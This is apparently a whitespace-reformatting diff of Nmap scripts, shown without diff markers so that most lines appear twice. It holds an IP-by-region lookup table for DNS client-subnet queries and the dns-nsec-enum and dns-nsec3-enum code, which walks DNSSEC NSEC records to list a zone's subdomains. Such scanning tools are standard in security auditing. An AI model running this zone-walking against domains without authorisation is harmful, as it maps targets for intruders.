W8 = {ip=534572928, desc="GB,W8,Cross"},
W9 = {ip=1042221056, desc="GB,W9,Livingston"},
WA = {ip=201806720, desc="US,WA,Issaquah"},
WY = {ip=135495936, desc="US,WY,Casper"},
X1 = {ip=1043425760, desc="GB,X1,Valley"},
X2 = {ip=773988152, desc="GB,X2,Victoria"},
X3 = {ip=35149824, desc="GB,X3,Bridgend"},
X4 = {ip=1043402272, desc="GB,X4,Blackwood"},
X5 = {ip=39946240, desc="GB,X5,Cardiff"},
X6 = {ip=1043435700, desc="GB,X6,Aberystwyth"},
X7 = {ip=1043408760, desc="GB,X7,Llanelli"},
X8 = {ip=1368926208, desc="GB,X8,Abergele"},
X9 = {ip=1043411032, desc="GB,X9,Rhyl"},
Y1 = {ip=1043407256, desc="GB,Y1,Holywell"},
Y2 = {ip=1043401576, desc="GB,Y2,Caernarfon"},
Y4 = {ip=1043428692, desc="GB,Y4,Cwmbran"},
Y5 = {ip=3265794544, desc="GB,Y5,Cwmafan"},
Y6 = {ip=35153920, desc="GB,Y6,Newport"},
Y7 = {ip=1353763984, desc="GB,Y7,Haverfordwest"},
Y8 = {ip=1043430344, desc="GB,Y8,Welshpool"},
Z1 = {ip=40116224, desc="GB,Z1,Swansea"},
Z2 = {ip=40189952, desc="GB,Z2,Pontypool"},
Z3 = {ip=35147776, desc="GB,Z3,Barry"},
Z4 = {ip=40321024, desc="GB,Z4,Wrexham"}
A4 = {ip=47763456, desc="GB,A4,Bath"},
A5 = {ip=1043402336, desc="GB,A5,Biggleswade"},
A6 = {ip=1364222182, desc="FR,A6,Ch<43>vremont"},
A7 = {ip=35357952, desc="GB,A7,Birmingham"},
A8 = {ip=1050694009, desc="FR,A8,Romainville"},
A9 = {ip=534257152, desc="FR,A9,Montpellier"},
AB = {ip=2156920832, desc="CA,AB,Edmonton"},
AK = {ip=202125312, desc="US,AK,Anchorage"},
B1 = {ip=1041724648, desc="FR,B1,Robert"},
B2 = {ip=35138048, desc="GB,B2,Bournemouth"},
B3 = {ip=33949696, desc="FR,B3,Toulouse"},
B4 = {ip=1050704998, desc="FR,B4,Lomme"},
B5 = {ip=35213312, desc="GB,B5,Wembley"},
B6 = {ip=773106752, desc="FR,B6,Amiens"},
B7 = {ip=35148800, desc="GB,B7,Bristol"},
B8 = {ip=786088496, desc="FR,B8,Valbonne"},
B9 = {ip=33753088, desc="FR,B9,Lyon"},
BC = {ip=201674096, desc="CA,BC,Victoria"},
C1 = {ip=522223616, desc="FR,C1,Strasbourg"},
C2 = {ip=41598976, desc="GB,C2,Halifax"},
C3 = {ip=534676272, desc="GB,C3,Cambridge"},
C5 = {ip=1043410032, desc="GB,C5,Runcorn"},
C6 = {ip=773987544, desc="GB,C6,Saltash"},
C7 = {ip=35165184, desc="GB,C7,Coventry"},
C8 = {ip=35248128, desc="GB,C8,Croydon"},
C9 = {ip=1892301824, desc="PH,C9,Iloilo"},
D1 = {ip=35414016, desc="GB,D1,Darlington"},
D2 = {ip=35164672, desc="GB,D2,Derby"},
D3 = {ip=35301376, desc="GB,D3,Chesterfield"},
D4 = {ip=1043450424, desc="GB,D4,Barnstaple"},
D5 = {ip=2036385792, desc="PH,D5,Legaspi"},
D7 = {ip=41451520, desc="GB,D7,Dudley"},
D8 = {ip=35279104, desc="GB,D8,Durham"},
D9 = {ip=460228608, desc="PH,D9,Manila"},
DC = {ip=68514448, desc="US,DC,Washington"},
E1 = {ip=1040645056, desc="GB,E1,Beverley"},
E2 = {ip=35206912, desc="GB,E2,Brighton"},
E3 = {ip=47822848, desc="GB,E3,Enfield"},
E4 = {ip=39874560, desc="GB,E4,Colchester"},
E5 = {ip=35270656, desc="GB,E5,Gateshead"},
E6 = {ip=1368606720, desc="GB,E6,Coleford"},
E7 = {ip=1051376056, desc="GB,E7,Woolwich"},
E8 = {ip=1044737528, desc="GB,E8,Hackney"},
F1 = {ip=1043451648, desc="GB,F1,Hammersmith"},
F2 = {ip=35176448, desc="GB,F2,Basingstoke"},
F4 = {ip=47998976, desc="GB,F4,Harrow"},
F5 = {ip=1040622704, desc="GB,F5,Hart"},
F6 = {ip=35230720, desc="GB,F6,Romford"},
F8 = {ip=35214848, desc="GB,F8,Watford"},
F9 = {ip=41693184, desc="GB,F9,Uxbridge"},
G1 = {ip=41437184, desc="GB,G1,Hounslow"},
G2 = {ip=35188224, desc="GB,G2,Ryde"},
G3 = {ip=41861120, desc="GB,G3,Islington"},
G4 = {ip=1040704992, desc="GB,G4,Kensington"},
G5 = {ip=41506816, desc="GB,G5,Ashford"},
G6 = {ip=786894336, desc="GB,G6,Hull"},
G8 = {ip=40112128, desc="GB,G8,Huddersfield"},
G9 = {ip=1380217968, desc="GB,G9,Knowsley"},
H1 = {ip=1044731464, desc="GB,H1,Lambeth"},
H2 = {ip=3512017264, desc="GB,H2,Earby"},
H3 = {ip=35221504, desc="GB,H3,Leeds"},
H4 = {ip=35158016, desc="GB,H4,Leicester"},
H5 = {ip=1043402716, desc="GB,H5,Loughborough"},
H6 = {ip=41732608, desc="GB,H6,Catford"},
H7 = {ip=41863168, desc="GB,H7,Lincoln"},
H8 = {ip=35294976, desc="GB,H8,Liverpool"},
H9 = {ip=35196928, desc="GB,H9,London"},
I1 = {ip=35253760, desc="GB,I1,Luton"},
I2 = {ip=35263488, desc="GB,I2,Manchester"},
I3 = {ip=47714304, desc="GB,I3,Rochester"},
I4 = {ip=1298651136, desc="GB,I4,Morden"},
I5 = {ip=1382961968, desc="GB,I5,Middlesborough"},
I8 = {ip=1371219061, desc="GB,I8,Stepney"},
I9 = {ip=35282944, desc="GB,I9,Norwich"},
IA = {ip=201438272, desc="US,IA,Urbandale"},
J1 = {ip=523578880, desc="GB,J1,Daventry"},
J2 = {ip=788492344, desc="GB,J2,Grimsby"},
J3 = {ip=3282790208, desc="GB,J3,Flixborough"},
J5 = {ip=41759232, desc="GB,J5,Wallsend"},
J6 = {ip=1043412268, desc="GB,J6,Alnwick"},
J7 = {ip=41783296, desc="GB,J7,Harrogate"},
J8 = {ip=35160064, desc="GB,J8,Nottingham"},
J9 = {ip=47742976, desc="GB,J9,Newark"},
JA = {ip=1476096512, desc="RU,JA,Kurilsk"},
K1 = {ip=48015360, desc="GB,K1,Oldham"},
K2 = {ip=1043402360, desc="GB,K2,Kidlington"},
K3 = {ip=39956480, desc="GB,K3,Peterborough"},
K4 = {ip=41735168, desc="GB,K4,Plymouth"},
K5 = {ip=775747568, desc="GB,K5,Poole"},
K6 = {ip=774162844, desc="GB,K6,Portsmouth"},
K7 = {ip=41746432, desc="GB,K7,Reading"},
K8 = {ip=35229696, desc="GB,K8,Ilford"},
L1 = {ip=47773696, desc="GB,L1,Twickenham"},
L2 = {ip=48103424, desc="GB,L2,Rochdale"},
L3 = {ip=35304192, desc="GB,L3,Rotherham"},
L4 = {ip=1043416984, desc="GB,L4,Oakham"},
L5 = {ip=772988024, desc="GB,L5,Salford"},
L6 = {ip=35336192, desc="GB,L6,Shrewsbury"},
L7 = {ip=1043419464, desc="GB,L7,Oldbury"},
L8 = {ip=39936000, desc="GB,L8,Lytham"},
L9 = {ip=35304448, desc="GB,L9,Sheffield"},
M1 = {ip=35384320, desc="GB,M1,Slough"},
M2 = {ip=41470976, desc="GB,M2,Solihull"},
M4 = {ip=35139584, desc="GB,M4,Southampton"},
M5 = {ip=1043402176, desc="GB,M5,Southend-on-sea"},
M6 = {ip=773986248, desc="GB,M6,Hill"},
M8 = {ip=1443330688, desc="GB,M8,Camberwell"},
M9 = {ip=35322880, desc="GB,M9,Stafford"},
MB = {ip=1076550400, desc="CA,MB,Winnipeg"},
MI = {ip=201393888, desc="US,MI,Saginaw"},
N1 = {ip=1318741928, desc="GB,N1,Haydock"},
N2 = {ip=35266560, desc="GB,N2,Stockport"},
N3 = {ip=41832448, desc="GB,N3,Stockton-on-tees"},
N4 = {ip=3231559680, desc="GB,N4,Longport"},
N5 = {ip=1043424608, desc="GB,N5,Beccles"},
N6 = {ip=35276800, desc="GB,N6,Sunderland"},
N7 = {ip=41551872, desc="GB,N7,Tadworth"},
N8 = {ip=41697280, desc="GB,N8,Sutton"},
N9 = {ip=35252736, desc="GB,N9,Swindon"},
NB = {ip=2211053568, desc="CA,NB,Fredericton"},
ND = {ip=201473536, desc="US,ND,Bismarck"},
NH = {ip=201772808, desc="US,NH,Laconia"},
NJ = {ip=201352704, desc="US,NJ,Piscataway"},
NS = {ip=3226164992, desc="CA,NS,Halifax"},
NT = {ip=3332472320, desc="CA,NT,Yellowknife"},
NV = {ip=202261184, desc="US,NV,Henderson"},
O2 = {ip=40251392, desc="GB,O2,Telford"},
O3 = {ip=35230208, desc="GB,O3,Grays"},
O4 = {ip=35318784, desc="GB,O4,Torquay"},
O5 = {ip=1368498352, desc="GB,O5,Poplar"},
O6 = {ip=1546138112, desc="GB,O6,Stretford"},
O7 = {ip=35219456, desc="GB,O7,Wakefield"},
O8 = {ip=35321856, desc="GB,O8,Walsall"},
O9 = {ip=1359108248, desc="GB,O9,Walthamstow"},
ON = {ip=201620304, desc="CA,ON,Ottawa"},
P1 = {ip=1043431736, desc="GB,P1,Wandsworth"},
P2 = {ip=35260416, desc="GB,P2,Warrington"},
P3 = {ip=41766912, desc="GB,P3,Nuneaton"},
P4 = {ip=41893888, desc="GB,P4,Newbury"},
P5 = {ip=772987648, desc="GB,P5,Westminster"},
P7 = {ip=41466624, desc="GB,P7,Wigan"},
P8 = {ip=48087808, desc="GB,P8,Salisbury"},
P9 = {ip=41793536, desc="GB,P9,Maidenhead"},
Q1 = {ip=41457664, desc="GB,Q1,Wallasey"},
Q2 = {ip=1040739840, desc="GB,Q2,Wokingham"},
Q3 = {ip=35323392, desc="GB,Q3,Wolverhampton"},
Q4 = {ip=539624744, desc="GB,Q4,Redditch"},
Q5 = {ip=1043415688, desc="GB,Q5,Wetherby"},
Q6 = {ip=1043439984, desc="GB,Q6,Antrim"},
Q7 = {ip=41811456, desc="GB,Q7,Newtownards"},
Q8 = {ip=1347208672, desc="GB,Q8,Armagh"},
Q9 = {ip=1044726432, desc="GB,Q9,Connor"},
QC = {ip=2210594816, desc="CA,QC,Varennes"},
R1 = {ip=1482707288, desc="GB,R1,Ballymoney"},
R3 = {ip=47828992, desc="GB,R3,Belfast"},
R4 = {ip=1051352576, desc="GB,R4,Eden"},
R5 = {ip=1056827328, desc="GB,R5,Castlereagh"},
R6 = {ip=47895040, desc="GB,R6,Coleraine"},
R7 = {ip=3270400320, desc="GB,R7,Dunmore"},
R8 = {ip=1367996672, desc="GB,R8,Portadown"},
R9 = {ip=773985608, desc="GB,R9,Square"},
RI = {ip=67285760, desc="US,RI,Providence"},
S1 = {ip=1040409048, desc="GB,S1,Drummond"},
S2 = {ip=1353842208, desc="GB,S2,Enniskillen"},
S3 = {ip=1368133632, desc="GB,S3,Larne"},
S4 = {ip=1446384520, desc="GB,S4,Ardmore"},
S5 = {ip=1043419184, desc="GB,S5,Lisburn"},
S6 = {ip=1056826304, desc="GB,S6,Londonderry"},
S7 = {ip=1359111383, desc="GB,S7,Curran"},
S8 = {ip=1369435392, desc="GB,S8,Waterfoot"},
S9 = {ip=1043434592, desc="GB,S9,Newry"},
T1 = {ip=3242033152, desc="GB,T1,Jordanstown"},
T2 = {ip=1043402000, desc="GB,T2,Bangor"},
T3 = {ip=1043429728, desc="GB,T3,Omagh"},
T4 = {ip=1043429520, desc="GB,T4,Strabane"},
T5 = {ip=39849984, desc="GB,T5,Aberdeen"},
T6 = {ip=1043407024, desc="GB,T6,Inverurie"},
T7 = {ip=47917056, desc="GB,T7,Forfar"},
T8 = {ip=1051457600, desc="GB,T8,Sandbank"},
T9 = {ip=1043429424, desc="GB,T9,Melrose"},
TX = {ip=201673024, desc="US,TX,Mckinney"},
U1 = {ip=1043400976, desc="GB,U1,Alloa"},
U2 = {ip=1353815544, desc="GB,U2,Langholm"},
U3 = {ip=1042190336, desc="GB,U3,Dundee"},
U4 = {ip=1043428036, desc="GB,U4,Newmilns"},
U5 = {ip=1051334704, desc="GB,U5,Bishopbriggs"},
U6 = {ip=1040628912, desc="GB,U6,Musselburgh"},
U7 = {ip=1056881248, desc="GB,U7,Barrhead"},
U8 = {ip=35188736, desc="GB,U8,Edinburgh"},
U9 = {ip=1318744616, desc="GB,U9,Blackstone"},
V1 = {ip=47947776, desc="GB,V1,Kirkcaldy"},
V2 = {ip=35190784, desc="GB,V2,Glasgow"},
V4 = {ip=1043417560, desc="GB,V4,Greenock"},
V5 = {ip=3570359128, desc="GB,V5,Borthwick"},
V6 = {ip=1398983520, desc="GB,V6,Findhorn"},
V7 = {ip=1043452928, desc="GB,V7,Saltcoats"},
V8 = {ip=523564544, desc="GB,V8,Bothwell"},
V9 = {ip=1353706504, desc="GB,V9,Redland"},
VT = {ip=201355264, desc="US,VT,Brattleboro"},
W1 = {ip=1042195200, desc="GB,W1,Perth"},
W2 = {ip=1043412560, desc="GB,W2,Paisley"},
W4 = {ip=1056825616, desc="GB,W4,Dundonald"},
W5 = {ip=1040411544, desc="GB,W5,Douglas"},
W6 = {ip=41547776, desc="GB,W6,Stirling"},
W7 = {ip=1443523584, desc="GB,W7,Bearsden"},
W8 = {ip=534572928, desc="GB,W8,Cross"},
W9 = {ip=1042221056, desc="GB,W9,Livingston"},
WA = {ip=201806720, desc="US,WA,Issaquah"},
WY = {ip=135495936, desc="US,WY,Casper"},
X1 = {ip=1043425760, desc="GB,X1,Valley"},
X2 = {ip=773988152, desc="GB,X2,Victoria"},
X3 = {ip=35149824, desc="GB,X3,Bridgend"},
X4 = {ip=1043402272, desc="GB,X4,Blackwood"},
X5 = {ip=39946240, desc="GB,X5,Cardiff"},
X6 = {ip=1043435700, desc="GB,X6,Aberystwyth"},
X7 = {ip=1043408760, desc="GB,X7,Llanelli"},
X8 = {ip=1368926208, desc="GB,X8,Abergele"},
X9 = {ip=1043411032, desc="GB,X9,Rhyl"},
Y1 = {ip=1043407256, desc="GB,Y1,Holywell"},
Y2 = {ip=1043401576, desc="GB,Y2,Caernarfon"},
Y4 = {ip=1043428692, desc="GB,Y4,Cwmbran"},
Y5 = {ip=3265794544, desc="GB,Y5,Cwmafan"},
Y6 = {ip=35153920, desc="GB,Y6,Newport"},
Y7 = {ip=1353763984, desc="GB,Y7,Haverfordwest"},
Y8 = {ip=1043430344, desc="GB,Y8,Welshpool"},
Z1 = {ip=40116224, desc="GB,Z1,Swansea"},
Z2 = {ip=40189952, desc="GB,Z2,Pontypool"},
Z3 = {ip=35147776, desc="GB,Z3,Barry"},
Z4 = {ip=40321024, desc="GB,Z4,Wrexham"}
}
local get_addresses = function(address, mask, domain, nameserver)
-- translate the IP's in the areaIPs to strings, as this is what the
-- DNS library expects
if ( "number" == type(address) ) then
address = ipOps.fromdword(address)
local a, b, c, d = address:match("(%d+)%.(%d+)%.(%d+)%.(%d+)")
address = ("%d.%d.%d.%d"):format(d,c,b,a)
end
-- translate the IP's in the areaIPs to strings, as this is what the
-- DNS library expects
if ( "number" == type(address) ) then
address = ipOps.fromdword(address)
local a, b, c, d = address:match("(%d+)%.(%d+)%.(%d+)%.(%d+)")
address = ("%d.%d.%d.%d"):format(d,c,b,a)
end
local subnet = { family = nmap.address_family(), address = address, mask = mask }
local status, resp = dns.query(domain, {host = nameserver, retAll=true, subnet=subnet})
if ( not(status) ) then
return
end
if ( "table" ~= type(resp) ) then resp = { resp } end
return resp
local subnet = { family = nmap.address_family(), address = address, mask = mask }
local status, resp = dns.query(domain, {host = nameserver, retAll=true, subnet=subnet})
if ( not(status) ) then
return
end
if ( "table" ~= type(resp) ) then resp = { resp } end
return resp
end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port)
if ( not(argDomain) ) then
return fail(SCRIPT_NAME .. ".domain was not specified")
end
if ( not(argDomain) ) then
return fail(SCRIPT_NAME .. ".domain was not specified")
end
local nameserver = argNS or (host and host.ip)
-- as the nameserver argument overrides the host.ip, the prerule should
-- already have done our work, so abort
if ( argNS and host ) then
return
-- if we have no nameserver argument and no host, we dont have sufficient
-- information to continue, abort
elseif ( not(argNS) and not(host) ) then
return
end
local nameserver = argNS or (host and host.ip)
-- as the nameserver argument overrides the host.ip, the prerule should
-- already have done our work, so abort
if ( argNS and host ) then
return
-- if we have no nameserver argument and no host, we dont have sufficient
-- information to continue, abort
elseif ( not(argNS) and not(host) ) then
return
end
local addrs = argAddr or areaIPs
if ( "string" == type(addrs) ) then addrs = {{ ip = addrs }} end
local addrs = argAddr or areaIPs
if ( "string" == type(addrs) ) then addrs = {{ ip = addrs }} end
local lookup, result = {}, { name = argDomain }
for _,ip in pairs(addrs) do
for _, addr in ipairs( get_addresses (ip.ip, argMask, argDomain, nameserver) ) do
lookup[addr] = true
end
end
for addr in pairs(lookup) do table.insert(result, addr) end
table.sort(result)
return stdnse.format_output(true, result)
local lookup, result = {}, { name = argDomain }
for _,ip in pairs(addrs) do
for _, addr in ipairs( get_addresses (ip.ip, argMask, argDomain, nameserver) ) do
lookup[addr] = true
end
end
for addr in pairs(lookup) do table.insert(result, addr) end
table.sort(result)
return stdnse.format_output(true, result)
end

View File

@@ -52,63 +52,63 @@ categories = {"discovery", "intrusive"}
portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
local function remove_empty(t)
local result = {}
local result = {}
for _, v in ipairs(t) do
if v ~= "" then
result[#result + 1] = v
end
end
for _, v in ipairs(t) do
if v ~= "" then
result[#result + 1] = v
end
end
return result
return result
end
local function split(domain)
return stdnse.strsplit("%.", domain)
return stdnse.strsplit("%.", domain)
end
local function join(components)
return stdnse.strjoin(".", remove_empty(components))
return stdnse.strjoin(".", remove_empty(components))
end
-- Remove the first component of a domain name. Return nil if the number of
-- components drops below min_length (default 0).
local function remove_component(domain, min_length)
local components
local components
min_length = min_length or 0
components = split(domain)
if #components <= min_length then
return nil
end
table.remove(components, 1)
min_length = min_length or 0
components = split(domain)
if #components <= min_length then
return nil
end
table.remove(components, 1)
return join(components)
return join(components)
end
-- Guess the domain given a host. Return nil on failure. This function removes
-- a domain name component unless the name would become shorter than 2
-- components.
local function guess_domain(host)
local name
local components
local name
local components
name = stdnse.get_hostname(host)
if name and name ~= host.ip then
return remove_component(name, 2) or name
else
return nil
end
name = stdnse.get_hostname(host)
if name and name ~= host.ip then
return remove_component(name, 2) or name
else
return nil
end
end
local function invert(t)
local result = {}
local result = {}
for k, v in pairs(t) do
result[v] = k
end
for k, v in pairs(t) do
result[v] = k
end
return result
return result
end
-- RFC 952: "A 'name' is a text string up to 24 characters drawn from the
@@ -125,259 +125,259 @@ local DNS_CHARS_INV = invert(DNS_CHARS)
-- Return the lexicographically next component, or nil if component is the
-- lexicographically last.
local function increment_component(name)
local i, bytes, indexes
local i, bytes, indexes
-- Easy cases first.
if #name == 0 then
return "0"
elseif #name < 63 then
return name .. "-"
elseif #name > 64 then
-- Shouldn't happen.
return nil
end
-- Easy cases first.
if #name == 0 then
return "0"
elseif #name < 63 then
return name .. "-"
elseif #name > 64 then
-- Shouldn't happen.
return nil
end
-- Convert the string into an array of indexes into DNS_CHARS.
indexes = {}
for i, b in ipairs({ string.byte(name, 1, -1) }) do
indexes[i] = DNS_CHARS_INV[b]
end
-- Increment.
i = #name
while i >= 1 do
repeat
indexes[i] = indexes[i] + 1
-- No "-" in first position.
until not (i == 1 and string.char(DNS_CHARS[indexes[i]]) == "-")
if indexes[i] > #DNS_CHARS then
-- Wrap around, next digit.
indexes[i] = 1
else
break
end
i = i - 1
end
-- Overflow.
if i == 0 then
return nil
end
-- Convert array of indexes back into string.
bytes = {}
for i, index in ipairs(indexes) do
bytes[i] = DNS_CHARS[index]
end
-- Convert the string into an array of indexes into DNS_CHARS.
indexes = {}
for i, b in ipairs({ string.byte(name, 1, -1) }) do
indexes[i] = DNS_CHARS_INV[b]
end
-- Increment.
i = #name
while i >= 1 do
repeat
indexes[i] = indexes[i] + 1
-- No "-" in first position.
until not (i == 1 and string.char(DNS_CHARS[indexes[i]]) == "-")
if indexes[i] > #DNS_CHARS then
-- Wrap around, next digit.
indexes[i] = 1
else
break
end
i = i - 1
end
-- Overflow.
if i == 0 then
return nil
end
-- Convert array of indexes back into string.
bytes = {}
for i, index in ipairs(indexes) do
bytes[i] = DNS_CHARS[index]
end
return string.char(table.unpack(bytes))
return string.char(table.unpack(bytes))
end
-- Return the lexicographically next domain name that does not add a new
-- subdomain. This is used after enumerating a whole subzone to jump out of the
-- subzone and on to more names.
local function bump_domain(domain)
local components
local components
components = split(domain)
while #components > 0 do
components[1] = increment_component(components[1])
if components[1] then
break
else
table.remove(components[1])
end
end
components = split(domain)
while #components > 0 do
components[1] = increment_component(components[1])
if components[1] then
break
else
table.remove(components[1])
end
end
if #components == 0 then
return nil
else
return join(components)
end
if #components == 0 then
return nil
else
return join(components)
end
end
-- Return the lexicographically next domain name. This adds a new subdomain
-- consisting of the smallest character. This function never returns a domain
-- outside the current subzone.
local function next_domain(domain)
if #domain == 0 then
return "0"
else
return "0" .. "." .. domain
end
if #domain == 0 then
return "0"
else
return "0" .. "." .. domain
end
end
-- Cut out a portion of an array and return it as a new array, setting the
-- elements in the original array to nil.
local function excise(t, i, j)
local result
local result
result = {}
if j < 0 then
j = #t + j + 1
end
for i = i, j do
result[#result + 1] = t[i]
t[i] = nil
end
result = {}
if j < 0 then
j = #t + j + 1
end
for i = i, j do
result[#result + 1] = t[i]
t[i] = nil
end
return result
return result
end
-- Remove a suffix from a domain (to isolate a subdomain from its parent).
local function remove_suffix(domain, suffix)
local dc, sc
local dc, sc
dc = split(domain)
sc = split(suffix)
while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
dc[#dc] = nil
sc[#sc] = nil
end
dc = split(domain)
sc = split(suffix)
while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
dc[#dc] = nil
sc[#sc] = nil
end
return join(dc), join(sc)
return join(dc), join(sc)
end
-- Return the subset of authoritative records with the given label.
local function auth_filter(retPkt, label)
local result = {}
local result = {}
for _, rec in ipairs(retPkt.auth) do
if rec[label] then
result[#result + 1] = rec[label]
end
end
for _, rec in ipairs(retPkt.auth) do
if rec[label] then
result[#result + 1] = rec[label]
end
end
return result
return result
end
-- "Less than" function for two domain names. Compares starting with the last
-- component.
local function domain_lt(a, b)
local a_parts, b_parts
local a_parts, b_parts
a_parts = split(a)
b_parts = split(b)
while #a_parts > 0 and #b_parts > 0 do
if a_parts[#a_parts] < b_parts[#b_parts] then
return true
elseif a_parts[#a_parts] > b_parts[#b_parts] then
return false
end
a_parts[#a_parts] = nil
b_parts[#b_parts] = nil
end
a_parts = split(a)
b_parts = split(b)
while #a_parts > 0 and #b_parts > 0 do
if a_parts[#a_parts] < b_parts[#b_parts] then
return true
elseif a_parts[#a_parts] > b_parts[#b_parts] then
return false
end
a_parts[#a_parts] = nil
b_parts[#b_parts] = nil
end
return #a_parts < #b_parts
return #a_parts < #b_parts
end
-- Find the NSEC record that brackets the given domain.
local function get_next_nsec(retPkt, domain)
for _, nsec in ipairs(auth_filter(retPkt, "NSEC")) do
-- The last NSEC record points backwards to the start of the subzone.
if domain_lt(nsec.dname, domain) and not domain_lt(nsec.dname, nsec.next_dname) then
return nsec
end
if domain_lt(nsec.dname, domain) and domain_lt(domain, nsec.next_dname) then
return nsec
end
end
for _, nsec in ipairs(auth_filter(retPkt, "NSEC")) do
-- The last NSEC record points backwards to the start of the subzone.
if domain_lt(nsec.dname, domain) and not domain_lt(nsec.dname, nsec.next_dname) then
return nsec
end
if domain_lt(nsec.dname, domain) and domain_lt(domain, nsec.next_dname) then
return nsec
end
end
end
local function empty(t)
return not next(t)
return not next(t)
end
-- Enumerate a single domain.
local function enum(host, port, domain)
local all_results = {}
local seen = {}
local subdomain = next_domain("")
local all_results = {}
local seen = {}
local subdomain = next_domain("")
while subdomain do
local result = {}
local status, result, nsec
stdnse.print_debug("Trying %q.%q", subdomain, domain)
status, result = dns.query(join({subdomain, domain}), {host = host.ip, dtype='A', retAll=true, retPkt=true, dnssec=true})
nsec = status and get_next_nsec(result, join({subdomain, domain})) or nil
if nsec then
local first, last, remainder
local index
while subdomain do
local result = {}
local status, result, nsec
stdnse.print_debug("Trying %q.%q", subdomain, domain)
status, result = dns.query(join({subdomain, domain}), {host = host.ip, dtype='A', retAll=true, retPkt=true, dnssec=true})
nsec = status and get_next_nsec(result, join({subdomain, domain})) or nil
if nsec then
local first, last, remainder
local index
first, remainder = remove_suffix(nsec.dname, domain)
if #remainder > 0 then
stdnse.print_debug("Result name %q doesn't end in %q.", nsec.dname, domain)
subdomain = nil
break
end
last, remainder = remove_suffix(nsec.next_dname, domain)
if #remainder > 0 then
stdnse.print_debug("Result name %q doesn't end in %q.", nsec.next_dname, domain)
subdomain = nil
break
end
if #last == 0 then
stdnse.print_debug("Wrapped")
subdomain = nil
break
end
first, remainder = remove_suffix(nsec.dname, domain)
if #remainder > 0 then
stdnse.print_debug("Result name %q doesn't end in %q.", nsec.dname, domain)
subdomain = nil
break
end
last, remainder = remove_suffix(nsec.next_dname, domain)
if #remainder > 0 then
stdnse.print_debug("Result name %q doesn't end in %q.", nsec.next_dname, domain)
subdomain = nil
break
end
if #last == 0 then
stdnse.print_debug("Wrapped")
subdomain = nil
break
end
if not seen[first] then
table.insert(all_results, join({first, domain}))
seen[first] = #all_results
end
index = seen[last]
if index then
-- Ignore if first is the original domain.
if #first > 0 then
subdomain = bump_domain(last)
-- Replace a chunk of the output with a sub-table for the zone.
all_results[index] = excise(all_results, index, -1)
end
else
stdnse.print_debug("adding %s", last)
subdomain = next_domain(last)
table.insert(all_results, join({last, domain}))
seen[last] = #all_results
end
else
local parent = remove_component(subdomain, 1)
if not seen[first] then
table.insert(all_results, join({first, domain}))
seen[first] = #all_results
end
index = seen[last]
if index then
-- Ignore if first is the original domain.
if #first > 0 then
subdomain = bump_domain(last)
-- Replace a chunk of the output with a sub-table for the zone.
all_results[index] = excise(all_results, index, -1)
end
else
stdnse.print_debug("adding %s", last)
subdomain = next_domain(last)
table.insert(all_results, join({last, domain}))
seen[last] = #all_results
end
else
local parent = remove_component(subdomain, 1)
-- This branch is entered if name resolution failed or
-- there were no NSEC records. If at the top, quit.
-- Otherwise continue to the next subdomain.
if parent then
subdomain = bump_domain(parent)
else
return nil
end
end
end
-- This branch is entered if name resolution failed or
-- there were no NSEC records. If at the top, quit.
-- Otherwise continue to the next subdomain.
if parent then
subdomain = bump_domain(parent)
else
return nil
end
end
end
return all_results
return all_results
end
action = function(host, port)
local output = {}
local domains
local output = {}
local domains
domains = stdnse.get_script_args('dns-nsec-enum.domains')
if not domains then
domains = guess_domain(host)
end
if not domains then
return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
end
if type(domains) == 'string' then
domains = { domains }
end
domains = stdnse.get_script_args('dns-nsec-enum.domains')
if not domains then
domains = guess_domain(host)
end
if not domains then
return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
end
if type(domains) == 'string' then
domains = { domains }
end
for _, domain in ipairs(domains) do
local result = enum(host, port, domain)
if type(result) == "table" then
result["name"] = domain
output[#output + 1] = result
else
output[#output + 1] = "No NSEC records found"
end
end
for _, domain in ipairs(domains) do
local result = enum(host, port, domain)
if type(result) == "table" then
result["name"] = domain
output[#output + 1] = result
else
output[#output + 1] = "No NSEC records found"
end
end
return stdnse.format_output(true, output)
return stdnse.format_output(true, output)
end

View File

@@ -82,345 +82,345 @@ all_results = {}
-- get time (in miliseconds) when the script should finish
local function get_end_time()
local t = nmap.timing_level()
local limit = stdnse.parse_timespec(stdnse.get_script_args('dns-nsec3-enum.timelimit') or "30m")
local end_time = 1000 * limit + nmap.clock_ms()
return end_time
local t = nmap.timing_level()
local limit = stdnse.parse_timespec(stdnse.get_script_args('dns-nsec3-enum.timelimit') or "30m")
local end_time = 1000 * limit + nmap.clock_ms()
return end_time
end
local function remove_empty(t)
local result = {}
for _, v in ipairs(t) do
if v ~= "" then
result[#result + 1] = v
end
end
return result
local result = {}
for _, v in ipairs(t) do
if v ~= "" then
result[#result + 1] = v
end
end
return result
end
local function split(domain)
return stdnse.strsplit("%.", domain)
return stdnse.strsplit("%.", domain)
end
local function join(components)
return stdnse.strjoin(".", remove_empty(components))
return stdnse.strjoin(".", remove_empty(components))
end
-- Remove the first component of a domain name. Return nil if the number of
-- components drops below min_length (default 0).
local function remove_component(domain, min_length)
local components
local components
min_length = min_length or 0
components = split(domain)
if #components < min_length then
return nil
end
table.remove(components, 1)
min_length = min_length or 0
components = split(domain)
if #components < min_length then
return nil
end
table.remove(components, 1)
return join(components)
return join(components)
end
-- Guess the domain given a host. Return nil on failure. This function removes
-- a domain name component unless the name would become shorter than 2
-- components.
local function guess_domain(host)
local name
local components
local name
local components
name = stdnse.get_hostname(host)
if name and name ~= host.ip then
return remove_component(name, 2) or name
else
return nil
end
name = stdnse.get_hostname(host)
if name and name ~= host.ip then
return remove_component(name, 2) or name
else
return nil
end
end
-- Remove a suffix from a domain (to isolate a subdomain from its parent).
local function remove_suffix(domain, suffix)
local dc, sc
local dc, sc
dc = split(domain)
sc = split(suffix)
while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
dc[#dc] = nil
sc[#sc] = nil
end
dc = split(domain)
sc = split(suffix)
while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
dc[#dc] = nil
sc[#sc] = nil
end
return join(dc), join(sc)
return join(dc), join(sc)
end
-- Return the subset of authoritative records with the given label.
local function auth_filter(retPkt, label)
local result = {}
local result = {}
for _, rec in ipairs(retPkt.auth) do
if rec[label] then
result[#result + 1] = rec[label]
end
end
for _, rec in ipairs(retPkt.auth) do
if rec[label] then
